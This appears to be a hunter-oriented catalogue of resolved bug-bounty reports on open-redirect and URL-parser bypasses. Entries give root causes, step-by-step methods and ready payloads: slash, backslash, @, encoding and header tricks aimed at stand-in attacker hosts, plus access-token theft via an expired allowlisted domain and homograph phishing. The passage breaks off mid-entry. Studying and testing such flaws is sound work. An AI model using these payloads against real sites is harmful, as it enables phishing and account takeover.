adb shell am start -n PKG/COMP.WebviewActivity --es URL "javascript:(function(){alert(document.cookie)})();"
<a href="intent://x#Intent;scheme=SCHEME;package=PKG;S.URL=https://ATTACKER;end">go</a>
Insight — On Android, an exported WebView activity that renders an intent-supplied URL is both an open-redirect and a client-side-code-execution primitive. Always test exported browsable components by feeding them https:// and javascript: URLs.
Real-world example
Trusted-domain prefix filter bypass with backslash
◆ Medium
Specimen #840736 · myndr · none · 39 votes · resolved
Program myndrSurface webTag account-takeover
Root cause
A redirect parameter is 'validated' by checking that the trusted domain string appears in the value. Inserting a backslash makes browsers treat everything before it as the host (attacker.com) while the trusted string survives the naive string check.
Method
- Identify a redirect param that requires the trusted domain to be present in the URL.
- Prefix the trusted string with attacker.com and a backslash so the browser's authority is attacker.com.
- Confirm redirection to the attacker host.
ref_url=http://phishing.com\dashboard.myndr.net/../../../
variant: redirect_to=/\attacker.com (see #716976)
Insight — Backslash is parsed as a path separator by servers but as an authority separator by browsers. http://attacker.com\trusted.tld and /\attacker.com defeat substring/prefix allowlists. Always test \, /\, and \/ against redirect filters.
Real-world example
Overly-broad CSP frame-src wildcard on free hosting (*.firebaseapp.com) -> iframe injection/redirect
◆ Medium
Specimen #1166766 · stripo · none · 36 votes · resolved
Program stripoSurface webChain CSP misconfig -> attacker iframe -> open redirect / phTag cors
Root cause
The email-editor CSP allows frame-src *.firebaseapp.com (and other broad wildcards). Because anyone can host on <name>.firebaseapp.com for free, an attacker embeds their own iframe that is fully CSP-allowed, enabling popups/redirects and phishing inside the trusted editor.
Method
- Read the page CSP and list wildcard sources that map to free/shared hosting (*.firebaseapp.com, *.web.app, *.github.io, *.blogspot.com, etc.).
- Deploy an attacker page to that hosting provider.
- Inject <iframe src="//attacker.firebaseapp.com"> into the CSP-restricted context; it loads and can popup/redirect.
<iframe src="//attacker.firebaseapp.com"></iframe>
CSP: frame-src data: *.firebaseapp.com *.stripe.com 'self';
Insight — A CSP allowlist entry pointing at a shared free-hosting wildcard is equivalent to allowing attacker content. When auditing CSP, flag any *.<free-host> in frame-src/script-src as an injection/redirect gadget.
Real-world example
Referrer-based redirect on error/interstitial page
◆ Medium
Specimen #781673 · x · USD 560 · 33 votes · resolved
Program xSurface webTag account-takeover
Root cause
An error page's OK/dismiss button navigates the user back to document.referrer instead of a fixed origin. If the user reached the page from an attacker site, the button sends them to the attacker, laundering a phishing redirect through the trusted domain.
Method
- Find a page whose dismiss/OK/back control returns the user to the previous origin (referrer) rather than a hardcoded path.
- Host a page that navigates the victim to that trusted page (so your site is the Referer).
- Victim clicks OK and is returned to the attacker origin.
<a href="https://twitter.com/i/flow">Click here</a>
<!-- after the error page's OK, browser returns to the attacker referrer -->
Insight — Redirect targets don't have to be an explicit URL parameter: any 'go back' control keyed on Referer/history is an open-redirect primitive. Check where dismiss/cancel/OK buttons send the user.
Real-world example
SAML SLO endpoint echoes redirect param into Location (unauth)
◆ Medium
Specimen #3418031 · rocket_chat · none · 32 votes · resolved
Program rocket_chatSurface webTag saml
Root cause
The SAML single-logout route /_saml/sloRedirect/:provider places the redirect query-string value directly into the Location header of a 302 with no server-side validation. The route needs no authentication, so a legitimate product domain becomes an open redirector.
Method
- Enumerate SAML/SSO logout and callback routes (sloRedirect, SingleLogout, logout?redirect=).
- Set the redirect/RelayState value to an external URL.
- Confirm the 302 Location points off-site.
GET /_saml/sloRedirect/PROVIDER?redirect=https://ATTACKER HTTP/1.1
-> HTTP/1.1 302 Found
-> Location: https://ATTACKER
Insight — SAML/SSO logout and RelayState/redirect parameters are recurring open-redirect sinks and are frequently unauthenticated. Fuzz *_saml*, sloRedirect, and RelayState with external URLs.
Real-world example
Access-token theft via open redirect to an expired allowlisted domain
◆ Medium
Specimen #1327742 · logitech · awarded · 27 votes · resolved
Program logitechSurface webChain open redirect -> access_token leak -> account takeoverTag open-redirectTag oauth
Root cause
The identity endpoint appends the user's access_token to a redirect target taken from the r parameter. Redirect targets are restricted to an allowlist, but the allowlist contained third-party streamer domains, one of which had lapsed and was available to register.
Method
- Enumerate historically-allowlisted redirect domains from the Wayback Machine
- Test each: only a few still receive the access_token
- Find one (dragynslair.live) that is unregistered/for sale
- Register it (or /etc/hosts for PoC); victim visiting the identity URL sends their access_token to it
https://streamlabs.com/global/identity?popup=1&r=http://dragynslair.live
# access_token is appended as a query parameter to the redirect target
Insight — For OAuth/identity redirectors with a domain allowlist, harvest historical allowlisted targets (Wayback/JS) and check for expired/registerable domains - buying one turns a 'safe' redirect into token exfiltration and ATO.
Real-world example
URL-parameter filter bypass with // (scheme-relative) to load remote content
◆ Medium
Specimen #195635 · deptofdefense · none · 26 votes · resolved
Program deptofdefenseSurface webChain Filter bypass -> arbitrary remote content -> content s
Root cause
A Flash video widget fetches a remote XML feed from a user-supplied url parameter. A substring filter blocks http:// but not scheme-relative //host, so replacing http:// with // bypasses the check and loads arbitrary attacker XML/video (aided by a permissive crossdomain.xml).
Method
- Find the url param that fetches remote content; confirm http:// URL is blocked (403)
- Replace http:// with // (scheme-relative)
- Point to attacker host serving crossdomain.xml + rss.xml + video
- Player renders attacker video/title/description and a controllable download link under the trusted origin
http://target/shared/widgets/popup.asp?url=//attacker/rss.xml # bypasses the http:// substring blacklist
Insight — Substring-based URL filters are trivially bypassed with // , \/\/, whitespace, or missing scheme. Same primitive applies to open redirect and SSRF filters. Fix: parse the URL and allowlist the host, don't string-match the scheme.
Real-world example
Backslash-before-@ URL parser confusion turns an allowlisted-URL param into in-app phishing
◆ Medium
Specimen #422279 · shopify · awarded · 25 votes · resolved
Program shopifySurface webChain URL-validation bypass -> attacker page auto-loaded in admTag account-takeover
Root cause
Server-side validation confirms the URL's host is on an allowlist (*.shopifycloud.com) but permits userinfo before @; browsers (except Safari) parse two backslashes as a path separator, so they load the attacker host that appears before the @ rather than the allowlisted host after it.
Method
- Find a param whose value is validated to be an allowlisted host but the whole string is later loaded by the browser
- Craft attacker.tld\\@allowlisted.host so validation sees the allowlisted host at the end
- Non-Safari browsers navigate to attacker.tld (backslashes act as path sep, truncating at @)
- Auto-opened modal renders attacker HTML (fake login) inside the trusted admin origin -> credential theft
/admin/products/<PRODUCT_ID>?incontext_app_link=https%3A%2F%2Fattacker.tld%5C%5C%40google-shopping.shopifycloud.com
Insight — Host-allowlist checks that permit userinfo are bypassable with \\ or @ tricks because server URL parsers and browser URL parsers disagree. When a validated URL is subsequently opened/framed, this becomes phishing or open redirect in a trusted context.
Real-world example
Protocol-relative & path-based redirect payloads (// , /// , /%2F..)
◆ Medium
Specimen #1338437 · brave · awarded · 21 votes · resolved
Program braveSurface web
Root cause
A redirect handler assumes any value starting with '/' is a safe same-site path, but browsers treat '//host' (and '///host', '/\host') as a protocol-relative absolute URL and navigate off-site.
Method
- Find a redirect/return path that reflects a user-controlled URL or path segment
- Prefix the attacker host with // or /// or embed a path-traversal to break out of the intended path
- Load the URL and confirm the browser leaves the origin
https://account.brave.com//example.com/%2F..
https://xmpp.nextcloud.com///;@www.google.com
https://stocky.shopifyapps.com/users/login?return_to=//evil.com
https://apps.shopify.com//blackfan.ru/ (-> Location: //blackfan.ru)
Insight — Any 'starts with /' allowlist is broken. Always try //evil.com, ///evil.com, /%2F.., and //;@evil.com before assuming a redirect is safe; path-based redirects with no explicit ?url= param are still vulnerable.
Real-world example
Bypassing an open-redirect fix (protocol-relative / added encoding)
◆ Medium
Specimen #1285081 · reddit · awarded · 20 votes · resolved
Program redditSurface web
Root cause
A prior fix blocklisted the 'http://' scheme in a redirect param but left protocol-relative //host (and equivalent encodings) unhandled, re-enabling the redirect.
Method
- Re-test a previously fixed open redirect
- Swap the blocked http://evil.com for //evil.com in the same (often secondary) param
- Confirm redirect works again
# original (fixed) used failed=http://evil.com
https://www.redditinc.com/ama?...&failed=//evil.com&...
# related fix bypass: %2f%2fevil.com blocked -> add extra %2f
Insight — Never trust that an open redirect is dead after a fix. Retest with //host, /\host, %2f%2f, added encoding layers, and secondary/less-obvious params (here 'failed=' rather than 'redirect=').
Real-world example
Trusting client-supplied object metadata for link rendering
◆ Medium
Specimen #1358977 · nextcloud · awarded · 19 votes · resolved
Program nextcloudSurface api
Root cause
When sharing a Deck card into a Talk conversation, the card's 'link' inside the client-supplied metaData JSON is trusted and rendered, so it can be swapped to point anywhere (CVE-2022-24887).
Method
- Post a Deck card to a conversation and intercept the share request
- Modify metaData.link to an arbitrary URL
- Recipients see the trusted-looking card but the link goes to the attacker URL
POST /ocs/v2.php/apps/spreed/api/v1/chat/<token>/share
{"objectType":"deck-card","objectId":"9","metaData":"{...\"link\":\"https://attacker.example/\"}"}
Insight — Rich-object/embed share APIs often let the client submit the display metadata (title, link, image) that the server stores and re-renders to others. Treat any client-provided 'link' field as attacker-controlled - swap it to test open-redirect/phishing.
Real-world example
Backslash /\ browser-normalization bypass (CVE-2022-45402)
◆ Medium
Specimen #1782514 · ibb · awarded · 19 votes · resolved
Program ibbSurface web
Root cause
Server treats a value beginning with '/' + backslash as a local path, but browsers normalize /\ (and \) to // and follow it as an absolute URL to the attacker host.
Method
- Find the post-login next/return param
- Supply /\attacker.com (or \http://\)
- Complete login; browser rewrites /\host to //host and redirects off-site
http://TARGET/login/?next=/\google.com
# also: goto param reflected straight into Location header:
GET /fb-connect/logoutRedir.php?goto=\http://\ HTTP/1.1 -> Location: \http://\
Insight — Backslash variants (/\host, \/host, \\host) slip past filters that only look for forward-slash based schemes; always test backslash when // is filtered.
Real-world example
Many-leading-slashes bypass of single-slash normalization
◆ Medium
Specimen #537047 · lyst · awarded · 18 votes · resolved
Program lystSurface web
Root cause
Filters that strip or reject a single leading '//' can be defeated by supplying many slashes; browsers collapse them and still treat the result as protocol-relative.
Method
- Locate next=/app style same-site redirect param
- Replace with a long run of slashes followed by the attacker host
- Register/login flow completes and redirects off-site
https://TARGET/account/login/?next=///////////////////////////evil.com
Insight — When // is blocked, escalate to //// through //////////// ; naive normalizers often only handle one or two slashes.
Real-world example
Baseline unchecked redirect parameter (?url= / ?next= / ?goto=)
◆ Medium
Specimen #373916 · hannob · none · 16 votes · resolved
Program hannobSurface web
Root cause
An exit/return endpoint places a user-supplied URL parameter directly into the redirect without validation; sometimes the value is base64/otherwise wrapped to obscure it.
Method
- Grep the app for exit.php, redirect, out, goto, url, next, return, dest params
- Set the param to an external URL (or a base64 blob if the endpoint decodes it)
- Confirm off-site navigation
https://blog.fuzzing-project.org/exit.php?url=aHR0cHM6Ly93d3cuaW5mb3NlYy5jb20uYnI=
https://www.shopify.com/plus/get-cdn-asset?asset=http://evil.com/?
https://SUBDOMAIN.jetblue.com/PATH?url=http://evil.com
Insight — Enumerate every redirect-shaped parameter (url, next, goto, return_to, dest, continue, redirect, asset); test raw and base64-encoded targets. These exist even on marketing/CDN endpoints.
Real-world example
Reverse tabnabbing via WebTorrent open-file anchor
◆ Medium
Specimen #968328 · brave · awarded · 14 votes · resolved
Program braveSurface desktop
Root cause
An anchor that opens/handles a downloaded file was created without rel=noopener/noreferrer, leaving window.opener writable so the opened content can navigate the original tab.
Method
- Host page offers a torrent whose opened content controls window.opener
- Victim starts torrent in WebTorrent and clicks to open the file
- Opened context sets window.opener.location to a malicious torrent/phishing URL
- Original tab silently redirects
<a target="_blank" href="evil.torrent">Start Torrent</a>
// opened content:
window.opener.location = 'https://TARGET-phish/';
Insight — Any target=_blank link or app-integrated file/preview opener that omits rel=noopener is a reverse-tabnabbing sink; check download/preview handlers in browsers and Electron apps.
Real-world example
@ userinfo bypass of return_to/redirect params
◆ Medium
Specimen #155222 · shopify · awarded · 12 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Redirect param is treated as a path/host but concatenated into a URL where an @ makes everything before it userinfo; the browser navigates to the host after @.
Method
- Find a return_to/redirect param, especially one that fires after login.
- Prefix the attacker host with @ (URL-encode as %40): return_to=%40evil.com/ or result_url=@evil.com.
- Trigger the flow; after login the browser sends the victim to evil.com.
https://ecommerce.shopify.com/accounts?return_to=%40evil.com/
# variant (path-relative redirect logic): result_url=@www.facebook.com
Insight — @ turns TARGET/@evil.com or /@evil.com into userinfo@host in the browser's eyes. Try %40, @, and combinations with / and \ against any redirect/return_to/next/result_url param, especially post-authentication redirects that carry more phishing value.
Real-world example
Protocol-relative // redirect and the multi-slash payload catalogue
◆ Medium
Specimen #692154 · vend_vdp · none · 11 votes · resolved
Program vend_vdpSurface web
Root cause
Server treats a leading // (or ///, /////) path as a relative redirect target, but browsers parse //host as a protocol-relative absolute URL and navigate to that external host.
Method
- Append the attacker host with a leading double slash to the site root or a redirect endpoint: //evil.com/.
- If a single // is filtered, escalate slash count (///, /////) or add path-encoding suffixes (/%2e%2e, /%2f%2e%2e, /..;/).
- Confirm the Location header points at //evil.com.
https://TARGET//evil.com/
# regex-bypass and normalization variants seen in the corpus:
https://TARGET/////example.com (5 slashes, 175168)
https://TARGET///www.google.com/%2e%2e (39198)
https://TARGET///www.google.com/%2f%2e%2e (45516)
https://TARGET//google.com/%2f.. (261592)
https://TARGET//example.com/..;/css (1530396)
https://TARGET//example.com/faq (52035, excess-slash language chooser)
Insight — // is the highest-yield open-redirect payload. When one slash is stripped, try more slashes, backslash mixes, and trailing /%2e%2e or /..;/ to survive path normalization while still yielding a protocol-relative host. Test both http:// and https:// forms so the link is auto-linkified.
Real-world example
Host Authorization case-sensitivity bypass via X-Forwarded-Host (Rails)
◆ Medium
Specimen #1374512 · ibb · awarded · 10 votes · resolved
Program ibbSurface web
Root cause
Rails ActionDispatch Host Authorization matched X_FORWARDED_HOST without .downcase (unlike HTTP_HOST). A mixed/upper-case host fails the regex match -> forwarded_host becomes nil -> the nil? short-circuit treats it as allowed, so redirect_to('/') resolves against the attacker host. CVE-2021-22942.
Method
- Target a Rails app (<= 6.1.3.1) that uses Host Authorization and a relative redirect_to.
- Send the request with X-Forwarded-Host in mixed/upper case: 'Evil.com' or 'EVIL.COM'.
- The relative redirect is rendered against the attacker host: Location: http://Evil.com/.
curl 'http://TARGET/tests' -H 'X-Forwarded-Host: Evil.com'
# or
curl 'http://TARGET/tests' -H 'X-Forwarded-Host: EVIL.COM'
# -> You are being <a href="http://Evil.com/">redirected</a>
Insight — Case-normalization gaps in host/allowlist checks are a bypass: if the validator lowercases HTTP_HOST but not X-Forwarded-Host, feed a mixed-case host. Any allowlist that compares against a downcased list but not the input is bypassable this way.
Real-world example
Location built from a param behind a valid signature, chained via internal redirector
◆ Medium
Specimen #400982 · chaturbate · awarded · 10 votes · resolved
Program chaturbateSurface webChain apex /external_link redirector -> signed /post prejoin_da
Root cause
With a valid weg_digest signature present and other params invalid, the server constructs the Location header from prejoin_data, letting the attacker set the base root. A separate /external_link redirector is chained to launder the payload through the trusted apex.
Method
- Send a request with a valid weg_digest and a crafted prejoin_data that injects an external base (domain%2Fevil.com/?=).
- Server emits Location: http://evil.com/... .
- Chain through the site's own /external_link?url= redirector so the initial link is on the trusted apex domain.
https://TARGET/post?prejoin_data=domain%2Fevil.com/?=&weg_digest=VALID_SIG
# chained through the apex redirector:
https://APEX/external_link/?url=https%3A%2F%2FTARGET%2Fpost%3Fprejoin_data%3Ddomain%252Fevil.com%2F%3F%3D%26weg_digest%3DVALID_SIG
Insight — Signed/opaque params still deserve open-redirect testing when the signature is reusable and only some fields are validated. Chaining a benign in-scope /external_link redirector in front makes the final URL start on the trusted domain, raising phishing credibility and crossing subdomains.
Real-world example
Unvalidated objectId in geo-location share opens arbitrary URL/deeplink (CVE-2021-41180)
◆ Medium
Specimen #1337178 · nextcloud · awarded · 8 votes · resolved
Program nextcloudSurface mobile-android
Root cause
Nextcloud Talk's location-share message stores an objectId that the mobile client later treats as the tap target; it is not validated to be a geo: URI, so setting it to any http(s) URL or app deeplink causes the client to open that URL when the recipient taps the rendered map.
Method
- In the mobile app share a location and intercept the share request
- Change objectType stays geo-location but set objectId to an arbitrary URL/deeplink; metaData still renders a map
- Recipient taps the map -> client opens the attacker URL / third-party app deeplink
POST /ocs/v2.php/apps/spreed/api/v1/chat/<token>/share
objectType=geo-location&objectId=https://ctulhu.me&referenceId=kkk&metaData={"type":"geo-location","id":"geo:14.60,121.00","latitude":"14.60","longitude":"121.00","name":"hehe"}
Insight — When a typed object (geo, image, file) carries an id/URL that the client dereferences on interaction, verify the server constrains the id to the declared type. Mismatched objectType vs objectId (declared geo but id is a URL) is a common open-redirect/deeplink-injection pattern in chat/rich-message features.
Real-world example
Base64-encoded redirect_url to client-side window.location sink (Nextcloud)
◆ Medium
Specimen #1977222 · nextcloud · awarded · 8 votes · resolved
Program nextcloudSurface web
Root cause
UnsupportedBrowser.vue reads redirect_url from the query string, base64-decodes it, and assigns it straight to window.location with no validation. The base64 layer hides the payload from naive filters. CVE-2023-35171.
Method
- Locate a client-side redirect param that is base64-decoded before use (grep source for atob/Buffer.from(...,'base64') then window.location).
- Base64-encode your target URL and place it in the param.
- Load the page in a way that triggers the redirect branch (e.g. the unsupported-browser view).
# vulnerable sink:
# const redirectPath = Buffer.from(urlParams.get('redirect_url'),'base64').toString() || '/'
# window.location = redirectPath
https://TARGET/...?redirect_url=aHR0cHM6Ly9ldmlsLmNvbQ== # base64('https://evil.com')
Insight — When a redirect param looks base64/encoded, decode it and test an external URL - encoding layers frequently sit in front of an unvalidated window.location/Location sink. Search client code for decode-then-navigate patterns.
Real-world example
Redirect chaining through a trusted domain + nested double URL-encoding
◆ Medium
Specimen #956449 · avito · none · 6 votes · resolved
Program avitoSurface webChain link gateway -> trusted google.com/url open redirect ->Tag account-takeover
Root cause
A link-warning gateway allowlists 'trusted' domains (google.com) and passes their redirect functionality through without re-validation; chaining google.com/url?url= as the target, wrapped in double URL-encoding, defeats both the allowlist and the danger warning.
Method
- Confirm the gateway trusts a domain that itself has an open-redirect (google.com/url, youtu.be, etc).
- Build target = google.com/url?sa=t&url=http://evil.com, URL-encode it fully.
- Feed it to the gateway's go?to= param (double-encoding all chars after to=) so it decodes to the trusted redirector at navigation time.
https://link.avito.ru/go?to=http://google.com/amp/%67%6F%6F%67%6C%65%2E%63%6F%6D%2F%75%72%6C%3F%73%61%3D%74%26%75%72%6C%3D%48%54%54%50%25%33%41%25%32%46%25%32%46%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F
Insight — Domain allowlists are only as safe as the redirectors on the allowlisted domains. Always test trusted-domain open-redirects (google.com/url, l.facebook.com, t.umblr.com) as a chaining hop, and use double URL-encoding to slip the payload past the outer parser.
Real-world example
Thunderstone Texis redir.html?u= open redirect
◆ Medium
Specimen #1634105 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
The Thunderstone/Texis search product exposes a redir.html endpoint whose u= parameter redirects to any URL without validation, a fingerprintable off-the-shelf open redirect.
Method
- Fingerprint Texis search (/texis/search/ paths).
- Hit redir.html with u=http://evil.com.
https://TARGET/texis/search/redir.html?query=1234&pr=External+Meta&prox=page&order=r&u=http://evil.com&m=0&p=2
Insight — Product/vendor-specific redirect endpoints (Texis redir.html?u=, Oracle /redirect, Adobe /content/*.redirect) are reusable across every host running that software. Build a dork/nuclei list of these known paths.
Real-world example
Referer allowlist bypass via substring (stristr) check
◆ Medium
Specimen #236599 · expressionengine · none · 5 votes · resolved
Program expressionengineSurface webTag account-takeover
Root cause
The redirect guard authorizes a redirect only if the Referer 'contains' the site hostname (PHP stristr substring test). Placing the trusted hostname anywhere in an attacker-controlled Referer (e.g. as a query string) satisfies the check.
Method
- Locate the redirect endpoint (index.php?URL=TARGET) gated on Referer.
- Host an attacker page whose URL embeds the target hostname, e.g. http://evil.com?http://www.example.com, so its Referer contains the trusted host.
- Click-through redirects straight to the external URL with no warning.
Referer: http://evil.com?http://www.example.com
GET /index.php?URL=https://evil.com
Insight — Any allowlist that uses substring containment (strpos/stristr/includes) instead of strict host parsing is bypassable by embedding the trusted string as a path/query/subdomain. Test trusted.com anywhere in the checked value.
Real-world example
Triple-slash (///host) bypass on next param in third-party auth
◆ Medium
Specimen #223326 · weblate · none · 5 votes · resolved
Program weblateSurface webChain open redirect after OAuth login -> phishingTag oauthTag account-takeover
Root cause
The post-login/next redirect handler rejects http:// and // but not ///, which browsers still resolve to a protocol-relative external host. Affects the next param across all third-party auth providers and disconnect/logout endpoints.
Method
- Find a next= param on login/logout/disconnect flows.
- Set next=///attacker.com (or //// etc).
- After the auth action the user lands on the external host.
https://demo.weblate.org/accounts/login/github/?next=///google.com
https://demo.weblate.org/accounts/disconnect/google-oauth2/2335/?next=https://evil.com
https://demo.weblate.org/accounts/disconnect/email/2354/?next=http://google.com
Insight — The next param on auth flows is a canonical open-redirect sink. Fuzz it with ///host, /\host, /%2f%2fhost, and https:evil.com. One weak validator usually covers login + all disconnect/logout endpoints.
Real-world example
Rails redirect_to params.merge(...) host injection
◆ Medium
Specimen #214034 · gitlab · none · 4 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Controllers that call redirect_to params.merge(page: n) build the redirect from the full untrusted params hash; supplying a host= param makes Rails redirect to that external host.
Method
- Find a paginated/sortable view that redirects using params
- Append &host=attacker.com (and page= to force the redirect branch)
- Observe redirect to external host
https://TARGET/dashboard/todos?page=99999999&host=www.google.com
Insight — Grep target Rails apps for redirect_to params / params.merge; any such sink usually accepts host=, port=, protocol= keys as an open redirect. Recurs across many controllers once found.
Real-world example
Array/nested redirect param continue[to]=//host
◆ Medium
Specimen #215970 · gitlab · none · 4 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Repository-import flow reads a nested continue[to] parameter as the post-action destination and 302s to it; a // prefix makes it protocol-relative and external. Requires only view access to the repo.
Method
- Access the import endpoint for any repo you can view
- Set continue[to]=//evil.com
- Trigger the flow; user is redirected off-site
http://INSTANCE/<user>/<repo>/import?continue[to]=//google.com
Insight — Redirect params are often nested/array-style (continue[to], redirect[url]). Fuzz bracketed param names, and remember low privilege (view-only) can still reach these flows.
Real-world example
Ad click/impression tracking scripts as redirect sinks
◆ Medium
Specimen #1081406 · revive_adserver · none · 2 votes · resolved
Program revive_adserverSurface webTag account-takeover
Root cause
Delivery scripts lg.php and ck.php redirect via dest/oadest/ct0 parameters by design (third-party ad tracking), producing open redirects that phishers can abuse under a trusted domain.
Method
- Locate ad delivery/tracking endpoints (ck.php, lg.php)
- Supply dest/oadest/ct0 with an external URL
- Observe redirect
http://ADSERVER/www/delivery/ck.php?...&oadest=http://evil.com
http://ADSERVER/www/delivery/lg.php?...&dest=http://evil.com
Insight — Ad-tech, analytics, and click-tracking endpoints (dest/oadest/ct0/url/r/redirect) are intentional redirect gadgets and frequently in-scope open redirects. CVE-2021-22873.
Real-world example
Safe-redirect filter bypass with trailing null byte %00
◆ Low
Specimen #945990 · x · USD 560 · 98 votes · resolved
Program xSurface web
Root cause
The link-safety/redirect validator mishandles a trailing %00, treating the URL as failing the check yet still redirecting to it - a regression from a prior fix.
Method
- Take a URL the safe-redirect normally interstitials/blocks
- Append %00
- Post/share it -> victim is sent straight to the target with no interstitial
http://evil.org/%00
Insight — Null bytes and other terminator/control chars (%00, %0d, %0a, %09, %23) frequently split a validator's view from the browser's. When a redirect/allow-list fix ships, retest it with a %00 suffix and other truncation tricks.
Real-world example
Protocol-relative URL (//) bypasses 'links forbidden' filter
◆ Low
Specimen #3175695 · mozilla · awarded · 96 votes · resolved
Program mozillaSurface web
Root cause
A field that allows a small HTML subset but forbids links only blocked http:/https: schemes; a protocol-relative URL (//evil.com) inside an <a> tag still produced a working external link.
Method
- Open profile Biography (allows <a> but says links forbidden)
- Insert an anchor using a scheme-relative URL
- Save; the link renders and navigates to http(s)://evil.com
<a href="//evil.com">click</a>
Insight — When testing link/redirect/scheme filters, always try scheme-relative //host, plus \/\/host, https:\evil, and whitespace/control chars before the scheme; blocklists keyed on 'http' miss //.
Real-world example
Broken-link hijacking: trusted redirect to an unclaimed external resource
◆ Low
Specimen #2476149 · security · awarded · 91 votes · resolved
Program securitySurface web
Root cause
A trusted first-party URL statically redirects to a third-party destination that is no longer controlled by the org (an expired/for-sale domain, or a dead social-media handle), so whoever claims that destination inherits the trust of the redirecting domain.
Method
- Crawl the site for outbound redirects and links to external domains/social handles
- Check each destination's ownership: WHOIS for expired/for-sale domains, or whether a linked social handle is unregistered
- Register the dangling resource; visitors following the trusted link now land on attacker-controlled content, and the trusted-domain redirect bypasses external-link warnings
# example: https://www.hackerone.com/node/9386 -> 302 -> https://www.iotna.com/ (domain up for sale)
# claim iotna.com (or the dead X/Twitter handle) -> serve phishing/malware behind the trusted link
Insight — Broken-link hijacking is a recon play: enumerate every external destination a target links or redirects to (domains AND social handles), then check which are unregistered/expired/for-sale. A trusted redirect to a claimable resource also defeats external-link warnings, raising phishing credibility.
Real-world example
Multiple leading slashes / URL-encoded slashes -> protocol-relative redirect
◆ Low
Specimen #504751 · omise · 100 · 72 votes · resolved
Program omiseSurface webTag account-takeover
Root cause
App builds a redirect from the request path/param and a leading // (or ///) is emitted into the Location header, which browsers resolve as a protocol-relative URL to an external host.
Method
- Take a normal path/param on target
- Prepend //evil.com, ///evil.com, or URL-encoded /%2f%2f%2fevil.com/
- Send and observe 30x Location resolving to the external host
GET /%2f%2f%2fbing.com%2f%3fwww.omise.co/?category=interview&page=2 HTTP/1.1
Host: www.omise.co
# variants seen in this batch:
https://www.affirm.com///google.com/?www.affirm.com/
https://www.istarbucks.co.kr/login/login.do?redirect_url=//www.bughunting.net
curl http://crm.unikrn.com//example.com/ -L # Location: //example.com
Insight — Always test //, ///, \\, and their URL/double-URL-encoded forms (%2f, %5c) against every redirect param and path segment; single-slash filters and naive startswith('http') checks miss protocol-relative bypasses.
Real-world example
Reflected param baked into a UI link (language switcher) -> link poisoning
◆ Low
Specimen #299835 · gsa_bbp · 150 · 60 votes · resolved
Program gsa_bbpSurface webTag account-takeover
Root cause
A request parameter (host=) is reflected into the href of an on-page control (language switch), so following that control sends the user to an attacker-chosen external site.
Method
- Load the genuine login page with ?host=attacker.tld
- Note the param is reflected into the language-switch link
- Clicking the switch navigates to the external host, launching phishing from a trusted origin
https://secure.login.gov/fr?host=portswigger.net
Insight — Hunt for reflected params that populate hrefs of secondary controls (language/currency/region switchers, 'continue' buttons); users don't expect a benign UI toggle to leave the site, making these high-trust phishing pivots. (albinowax / 'link poisoning')
Real-world example
Header-based open redirect via X-Forwarded-Host
◆ Low
Specimen #1479889 · omise · none · 58 votes · resolved
Program omiseSurface webChain open redirect via X-Forwarded-Host -> also a primitive foTag account-takeover
Root cause
App builds an absolute redirect from the incoming Host/X-Forwarded-Host header, so spoofing the header points the Location at an attacker domain.
Method
- Intercept a request to the redirecting endpoint
- Add X-Forwarded-Host: evil.com (also try X-Host, X-Forwarded-Server, Host)
- Observe redirect/Location built with the attacker host
GET / HTTP/1.1
Host: link.omise.co
X-Forwarded-Host: example.com
Insight — Header-controlled redirects (and their siblings: password-reset links, cache-poisoning) hinge on reflected Host/X-Forwarded-Host; always fuzz these headers where a Location or absolute URL is generated server-side.
Real-world example
Redirect anti-phishing host-highlight bypass via whitespace + IDN homograph
◆ Low
Specimen #278095 · security · awarded · 57 votes · resolved
Program securitySurface webTag account-takeover
Root cause
An interstitial redirect-warning page parses/highlights the destination host with a weaker parser than the browser uses to navigate. Injecting control/whitespace characters (%0A, %0D, %00, %09) and a backslash/@ splits the two parsers so the highlighted host differs from the actual navigation target.
Method
- Find the redirect/external-link-warning endpoint
- Craft a URL where a trusted host precedes a whitespace/control char, then the real attacker host, using \@ to place the trusted string in the userinfo portion
- Confirm the warning page highlights the trusted host but navigation lands on the attacker host
- Optionally use IDN homograph characters to make the attacker host visually match
[Go to yelp.com](https://yelp.com%0A.evil.com%5C@x)
# highlighted: yelp.com -> actually navigates to yelp.com.evil.com
[Yelp.com](https://yelp.com%0A.уelp.com%5C@x)
# IDN homograph: lands on xn--elp-cfd.com
Insight — Any UI that displays/highlights a parsed host for user trust is a target: feed it whitespace, %0A/%0D/%00/%09, backslash, and @ to desync the display parser from the navigation parser. Combine with IDN homoglyphs.
Real-world example
http-filter bypass via case + decimal-IP encoding
◆ Low
Specimen #411723 · chaturbate · awarded · 55 votes · resolved
Program chaturbateSurface webTag account-takeover
Root cause
Redirect filter blocks the literal http prefix but is case-sensitive and permits numeric host forms, so Http: plus a decimal-encoded IP escapes it.
Method
- Confirm next= rejects http:// external URLs
- Change case to Http: to slip the string filter
- Encode the host as a decimal integer IP so only digits follow the scheme
https://chaturbate.com/auth/login/?next=Http:3627732462 # 3627732462 = decimal IP of google.com
Insight — Bypass scheme/host filters with case variation (Http, HTTP), and encode the target host as decimal/octal/hex integer IP (e.g. http://3627732462/) to defeat allow/deny checks that expect dotted-quad or letters.
Real-world example
Open redirect inherited via 3rd-party vendor CNAME (vuln inheritance)
◆ Low
Specimen #1073565 · x · none · 53 votes · resolved
Program xSurface webChain 3rd-party vendor open redirect -> inherited on brand subdTag subdomain-takeoverTag account-takeover
Root cause
A brand subdomain CNAMEs to a third-party vendor; an open-redirect (here a stored one) on the vendor endpoint is inherited by the brand subdomain, so the payload lives at *.brand.tld.
Method
- Enumerate subdomains and resolve CNAMEs to spot 3rd-party vendors
- Find the vendor's known open-redirect endpoint / redirect param (e.g. ?redirect=, destination_url=)
- Trigger it on the brand subdomain so the trusted host serves the redirect
https://www.twitterflightschool.com/widgets/experience?destination_url=https://evil.com # served under flightschool.twitter.com via CNAME
Insight — Map every subdomain to its hosting vendor; a bug in the vendor becomes the brand's bug. The same 'vulnerability inheritance via 3rd-party integrations' pattern yielded an open redirect on events.hackerone.com (#1028345). Great for turning known-vendor CVEs into in-scope findings.
Real-world example
Backslash + @ bypass (evil.com\@trusted.com)
◆ Low
Specimen #2812583 · automattic · awarded · 51 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
